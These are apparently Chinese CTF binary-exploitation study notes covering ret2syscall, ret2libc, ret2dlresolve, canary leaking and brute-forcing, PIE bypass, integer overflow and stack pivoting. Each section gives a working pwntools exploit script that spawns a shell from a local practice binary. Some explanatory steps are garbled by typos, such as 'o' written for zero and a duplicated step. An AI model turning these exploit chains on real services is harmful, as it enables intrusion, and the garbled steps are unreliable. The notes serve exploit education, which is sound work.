抱歉,您的浏览器无法访问本站
本页面需要浏览器支持(启用)JavaScript
了解详情 >

ret2syscall

Linux 的系统调用通过 int 80h 实现,用系统调用号来区分入口函数

应用程序调用系统调用的过程是:

1、把系统调用的编号存入 EAX

2、把函数参数存入其它通用寄存器

3、触发 0x80 号中断(int 0x80)

在32位下:

1.将EAX寄存器的值设置为OXb:EAX = OXb

3.将ECX和EDX寄存器的值都设为O: ECX = EDx = 0

3.将ECX和EDX寄存器的值都设为O: ECX = EDx = o

64位下:

1.将RAX寄存器的值设置为0×3b:RAX = OX3b

2.将RDI寄存器的值设置为”/bin/sh”字符串的地址:RDI = &(“ /bin/sh”)

3.将RSI和RDX寄存器的值都设为0: RSI = RDX = o

只需要让栈顶的值 然后可以通过 pop eax 达到目的

例(CTFwiki):

计算偏移

运用ropper 查找int 0x80系统调用

1
ropper -f ret2syscall --search "int 0x80"

运用ropper 查找其他寄存器

1
ropper -f ret2syscall --search "pop|ret"| grep 'eax'

其他类推

在IDA找到bin/sh的地址

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
from pwn import *
context.log_level = 'debug'
context.terminal = ['deepin-terminal', '-x', 'sh', '-c']
p = process("./ret2syscall")

if args.G:
gdb.attach(p)
pop_eax_ret = 0x080bb196
pop_ebx_ret = 0x080481c9
pop_ecx_ebx_ret = 0x0806eb91
pop_edx_ecx_ebx_ret = 0x0806eb90
pop_edx_ret = 0x0806eb6a
int_0x80 = 0x08049421
bin_sh_addr = 0x80be408

p.recvuntil("What do you plan to do?\n")

payload = b"a"*112 + p32(pop_eax_ret)
payload += p32(0xb) + p32(pop_edx_ecx_ebx_ret)
payload += p32(0) + p32(0) + p32(bin_sh_addr)
payload += p32(int_0x80)

p.sendline(payload)
p.interactive()

ret2libc

例1:

在ida找到bin/sh字符串地址

查找到system函数存在地址

1
2
3
4
5
6
from pwn import *
p = process("./ret2libc1")
p.recvuntil("RET2LIBC >_<\n")
payload = b"a"*112 + p32(0x8048460) + b"xxxx" + p32(0x8048720)
p.sendline(payload)
p.interactive()

例2

没有system函数。也没有binsh字符串

  • system 函数属于 libc,而 libc.so 动态链接库中的函数之间相对偏移是固定的。

  • 即使程序有 ASLR 保护,也只是针对于地址中间位进行随机,最低的 12 位并不会发生改变。而 libc 在 github 上有人进行收集,如下

  • https://github.com/niklasb/libc-database

  • 所以如果我们知道 libc 中某个函数的地址,那么我们就可以确定该程序利用的 libc。进而我们就可以知道 system 函数的地址。

    那么如何得到 libc 中的某个函数的地址呢?我们一般常用的方法是采用 got 表泄露,即输出某个函数对应的 got 表项的内容。当然,由于 libc 的延迟绑定机制,我们需要泄漏已经执行过的函数的地址。

    此外,在得到 libc 之后,其实 libc 中也是有 /bin/sh 字符串的,所以我们可以一起获得 /bin/sh 字符串的地址。

    基本利用思路如下

    • 泄露 puts函数 地址
    • 获取 libc 版本
    • 获取 system 地址与 /bin/sh 的地址
    • 再次执行源程序
    • 触发栈溢出执行 system(‘/bin/sh’)

    单步运行过puts函数,查询got表

    通过vmmap找到对应libc的基地址,并且计算偏移

    再计算system函数的偏移

    然后searh “bin/sh”的地址,再计算bin/sh1的偏移

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
from pwn import *
context.log_level = 'debug'
context.terminal = ['deepin-terminal', '-x', 'sh', '-c']
p = process("./ret2libc2")
if args.G:
gdb.attach(p)

gets_plt = 0x8048440
puts_plt = 0x8048460
main_addr = 0x8048618
puts_got = 0x804a018

p.recvuntil("Can you find it !?")
payload = b"a"*112 + p32(puts_plt) + p32(main_addr) + p32(puts_got)
p.sendline(payload)

puts_addr = u32(p.recv(4))
libc_addr = puts_addr - 0x6dc30
system_addr = libc_addr + 0x41790
bin_sh_addr = libc_addr + 0x18e363
success("puts_addr: " + hex(puts_addr))
success("system_addr: " + hex(system_addr))
success("bin_sh_addr: " + hex(bin_sh_addr))

p.recvuntil("Can you find it !?")
payload1 = b"a"*104 + p32(system_addr) + b"xxxx" + p32(bin_sh_addr)
#payload1 = b"a"*104 + p32(gets_plt) + p32(system_addr) + p32(0x804a020) + p32(0x804a020)
p.sendline(payload1)
'''
sleep(0.2)
p.sendline("/bin/sh\x00")
'''
p.interactive()

ret2dl

ELF关于动态链接的关键segment:

.dynamic:一般保存了ELF文件依赖于哪些动态库,动态符号节信息;

各segment的位置关系:

.dynamic的地址加Ox44的位置是.

dynstr;.dynamic的地址加Ox4c的位置是.

dynsym;.dynamic的地址加Ox84的位置是.rel.plt;

第一次调用一个函数时_dl_runtime_resolve函数的工作: _dl_runtime resolve(link map_obj, reloc index):

1.首先用link_map访问.dynamic,分别取出.dynstr、.dynsym、.rel.plt的地址;

2..rel.plt +参数reloc_index,求出当前函数的重定位表项Elf32_Rel的指针,记作rel;

3.rel->r_info > >8= n作为.dynsym的下标,求出当前函数的符号表项Elf32_Sym的指针,记作sym;4..dynstr + sym->st_name得出符号名字符串指针;

5.在动态链接库查找这个函数的地址,并且把地址赋值给*rel->r_offset,即GOT表;

6.最后调用这个函数;

例题:

思路:

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
from pwn import *
context.log_level = 'debug'
context.terminal = ['deepin-terminal', '-x', 'sh' ,'-c']
name = './pwn'
p = process(name)
#p=remote('chall.pwnable.tw', 10103)
elf= ELF(name)
#libc = ELF('./libc_32.so.6')
if args.G:
gdb.attach(p)

rel_plt_addr = elf.get_section_by_name('.rel.plt').header.sh_addr #0x8048330
dynsym_addr = elf.get_section_by_name('.dynsym').header.sh_addr #0x80481d8
dynstr_addr = elf.get_section_by_name('.dynstr').header.sh_addr #0x8048278
resolve_plt = 0x08048380
leave_ret_addr = 0x0804851d
start = 0x804aa00

fake_rel_plt_addr = start
fake_dynsym_addr = fake_rel_plt_addr + 0x8
fake_dynstr_addr = fake_dynsym_addr + 0x10
bin_sh_addr = fake_dynstr_addr + 0x7

n = fake_rel_plt_addr - rel_plt_addr
r_info = (int((fake_dynsym_addr - dynsym_addr)/0x10) << 8) + 0x7
str_offset = fake_dynstr_addr - dynstr_addr


fake_rel_plt = p32(elf.got['read']) + p32(r_info)
fake_dynsym = p32(str_offset) + p32(0) + p32(0) + p32(0x12000000)
fake_dynstr = b"system\x00/bin/sh\x00\x00"


pay1 = b'a'*108 + p32(start - 20) + p32(elf.plt['read']) + p32(leave_ret_addr) + p32(0) + p32(start - 20) + p32(0x100)
p.recvuntil('Welcome to RET_TO_DL~!\n')
#p.recvuntil("Nice to meet you~!\n")
p.sendline(pay1)
sleep(1)
pay2 = p32(0x0) + p32(resolve_plt) + p32(n) + b'aaaa' + p32(bin_sh_addr) + fake_rel_plt + fake_dynsym + fake_dynstr
p.sendline(pay2)

success(".rel_plt: " + hex(rel_plt_addr))
success(".dynsym: " + hex(dynsym_addr))
success(".dynstr: " + hex(dynstr_addr))
success("fake_rel_plt_addr: " + hex(fake_rel_plt_addr))
success("fake_dynsym_addr: " + hex(fake_dynsym_addr))
success("fake_dynstr_addr: " + hex(fake_dynstr_addr))
success("n: " + hex(n))
success("r_info: " + hex(r_info))
success("offset: " + hex(str_offset))
success("system_addr: " + hex(fake_dynstr_addr))
success("bss_addr: " + hex(elf.bss()))
p.interactive()

击败cancary

基本原理

函数开始执行的时候会先往栈底插入cookie信息,当函数真正返回的时候会验证cookie信息是否合法(栈帧销毁前测试该值是否被改

变),如果不合法就停止程序运行(发生了栈溢出);

在Linux当中我们将这段cookie信息称为Canary ,Canary是一个低字节为\x00的16进制数;

因为Canary在局部变量的后边,在EBP或RBP的前面所以当攻击者覆盖返回地址的时候往往也会将cookie信息给覆盖掉,这就会导致栈保护检查失败而阻止payload的执行,从而避免漏洞利用成功.

绕过方法

方法一:泄露栈中的Canary:

Canary设计为以字节×O0O结尾,其本意就是为了保证Canary 可以截断字符串,防止我们输出字符串的时候将Canary打印出来;所以泄露栈中的Canary的思路是将Canary的低字节\x00覆盖,然后连同用户的字符串一起打印出剩余的Canary部分;

当我们打印出完整的Canary后,在溢出的时候再将正确Canary填回去,就可以进行控制返回地址,控制程序流程了.

条件:

1.有合适的输出函数

2.泄露Canary后程序不会崩溃

例题:

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
from pwn import *
#context(os='linux',arch='amd64')
context.log_level = 'debug'
context.terminal = ['deepin-terminal', '-x', 'sh', '-c']

name = './pwn1'
p = process(name)
elf = ELF(name)
if args.G:
gdb.attach(p)

p.recvuntil("Welcome!\n")

payload = "a"*28 + "b"*4
p.sendline(payload)
p.recvuntil("bbbb")
canary = u32(p.recv(4)) - 0xa
success("canary: " + hex(canary))


getshell_addr = 0x804858b
payload1 = b"a"*32 + p32(canary) + b"b"*12 + p32(getshell_addr)
p.sendline(payload1)

p.interactive()

方法二:爆破Canary:

对于Canary,虽然每次进程重启后的Canary 不同(相比GS,GS重启后是相同的)但是同一个进程中的不同线程的Canary 是相同的,并且通过fork函数创建的子进程的Canary也是相同的,因为fork函数会直接拷贝父进程的内存。

我们可以利用这样的特点,彻底逐个字节将Canary爆破出来.

缺点:多进程程序,32位程序需要爆破3字节,64位程序需要爆破7字节,需要爆破较多.

其他方法: 1.联合其他漏洞修改劫持_stack_chk_fail函数;

例题:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
from pwn import *
name = './pwn2'
p = process(name)
elf = ELF(name)

p.recvuntil('welcome\n')

canary = '\x00'
for i in range(3):
print(hex(i))
for j in range(256):
print(hex(j))
p.send('a'*100 + canary + chr(j))
a = p.recvuntil("welcome\n")
if b"recv" in a:
canary += chr(j)
break


canary = u32(canary)
success("canary: " + hex(canary))
getflag = 0x0804863B
payload = b'a'*100 + p32(canary) + b'a'*12 + p32(getflag)
p.sendline(payload)

p.interactive()

PIE绕过:

position-independent executable,地址无关可执行文件,该技术就是一个针对代码段.text,数据段.*data,.bss等固定地址的一个防护技术应用了PIE的程序会在每次加载时都变换加载基址,从而使ropper等工具无法得到准确的地址.

方法一: Partial Write
部分写入技术,由于内存的页载入机制,PIE的随机化只能影响到单个内存页;通常来说,一个内存页大小为Ox1000,这就意味着不管地址怎么变,某条指令的后12位,3个十六进制数的地址是始终不变的就是利用了PIE后12位地址不变的特点,通过覆盖EIP的后8或16位(按字节写入每字节8位)就可以快速爆破或者直接劫持EIP;

特点:

1.程序不大,有后门函数等;
2.只需要爆破一个字节

例题

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
from pwn import *
i = 0
while True:
i += 1
print (i)
if(i > 0xff):
print("Wrong!")
break
io = process("./partial_write")
io.recv()
payload = 'a'*40
payload += '\xca' #strncpy复制202个字节造成溢出
io.sendline(payload)
io.recv()
payload = 'a'*200
payload += '\x01\x39' #frontdoor的地址后三位是0x900, +1跳过push rbp 爆破的是3
io.sendline(payload)
io.recv()
try:
io.recv(timeout = 1)
except EOFError:
io.close()
continue
else:
sleep(0.1)
io.sendline('/bin/sh\x00')
sleep(0.1)
io.interactive() #没有EOFError的话就是爆破成功,可以开shell
break

方法二:直接泄露地址
因为PIE影响的只是程序加载基址,并不会影响指令间的相对地址,如果我们可以泄露出一个程序或ibc的某些地址,我们就可以利用地址
减去偏移地址得到基地址,从而算出其他函数的地址,这种方法也是我们最常用的方法.
通过泄露地址来计算libc基地址的时候需要注意的是libc版本不同,对应的偏移也不同.

例题:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
from pwn import *

context.log_level = 'debug'
context.terminal = ['deepin-terminal', '-x', 'sh', '-c']

name = './pwn1'
p = process(name)
elf = ELF(name)
if args.G:
gdb.attach(p)

p.recvuntil("Tell me your name:\n")
payload = "a"*8
p.send(payload)
p.recvuntil("a"*8)
pro_addr = u64(p.recv(6) + b"\x00\x00") - 0x82d
puts_got_addr = pro_addr + elf.got['puts']
puts_plt_addr = pro_addr + elf.plt['puts']
main_addr = pro_addr + elf.symbols['main']
success("pro_addr: " + hex(pro_addr))
success("puts_got_addr: " + hex(puts_got_addr))
success("puts_plt_addr: " + hex(puts_plt_addr))
success("main_addr: " + hex(main_addr))


p.recvuntil("What do you want to say?\n")
pop_rdi_addr = pro_addr + 0x843
payload1 = b"a"*184
payload1 += p64(pop_rdi_addr) + p64(puts_got_addr) + p64(puts_plt_addr)
payload1 += p64(main_addr)
p.sendline(payload1)

p.recvuntil("Bye!\n")
libc_addr = u64(p.recv(6) + b"\x00\x00") - 0x68f90
system_addr = libc_addr + 0x3f480
bin_sh_addr = libc_addr + 0x1619d9
success("libc_addr: " + hex(libc_addr))
success("system_addr: " + hex(system_addr))
success("bin_sh_addr: " + hex(bin_sh_addr))

p.recvuntil("Tell me your name:\n")
p.sendline("aaa")

p.recvuntil("What do you want to say?\n")
payload2 = b"c"*184
payload2 += p64(pop_rdi_addr) + p64(bin_sh_addr) + p64(system_addr)
p.sendline(payload2)

p.interactive()

整数溢出:

类型一:未限制范围
这种情况主要是变量有固定大小的字节,但是却允许我们输入无限多的数据,和gets()函数产生的栈溢出很相似

类型二:错误的类型转换
正确的对变量进行了约束但是在类型转换上面出错了,范围大的变量赋值给范围小的变量

例题:

程序为dest分配了0x14字节的储存空间,而第二个read函数可以读取0x199个字节,这个地方存在栈溢出

1
2
3
4
5
6
7
8
9
10
11
12
13
from pwn import *
p = process("./int_over")
payload = b"a"*24 + p32(0x804868b)
payload += b"b"*(0x104 - len(payload))
p.recvuntil("Your choice:")
p.sendline("1")

p.recvuntil("Please input your username:\n")
p.sendline("sir")

p.recvuntil("Please input your passwd:\n")
p.sendline(payload)
p.interactive

栈迁移:

劫持栈指针指向攻击者所能控制的内存处,然后再在相应的位置进行ROP等操作;
通俗的讲其实就是将ESP或RSP指针修改为我们可以控制的内存区地址比如bss段堆等位置,然后在可控内存区当中布置payload等;

条件:

1.程序存在溢出;
2.可以控制sp指针;

用途:

1.栈益出可以溢出的空间大小不足

因为我们的主要思想是修改sp指针,所以我们需要通过一些汇编指令来修改sp指针,常用汇编指令:;

1.pop esp;
2.pop ecx; lea esp,[ecx-Ox4];
3.leave; ret; —> mov esp, ebp; pop ebp; ret;

需要注意的地方:

1.迁移过去的内存一定要可读可写;

⒉.迁移过去的内存要注意离不可读不可写的内存要远一些,因为调用一些函数的时候需要较大的栈空间;

3.我们构造的栈空间和程序的栈空间有相同的性质,即push,pop等操作对sp,bp指针的操作一样;

例题:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
from pwn import *
context.log_level = 'debug'
context.terminal = ['deepin-terminal', '-x', 'sh', '-c']
p = process("./test1")
if args.G:
gdb.attach(p)

bin_sh_addr = 0x80495d0
system_plt = 0x8048370
read_plt = 0x8048340
leave_ret = 0x80484d5
pop3_ret = 0x080485a9
gadgets = 0x8048549
bss = 0x804a560

payload = p32(read_plt) + p32(pop3_ret) + p32(0) + p32(bss) + p32(100)
payload += p32(gadgets) + p32(bss + 4)
p.recvuntil("Hello,tell me your story:\n")
p.sendline(payload)

payload1 = b"b"*10 + p32(0x804a060 + 4)
p.recvuntil("By the way, what's your name:\n")
p.sendline(payload1)

sleep(1)
payload2 = p32(system_plt) + b"aaaa" + p32(bin_sh_addr)
p.sendline(payload2)
p.interactive()

评论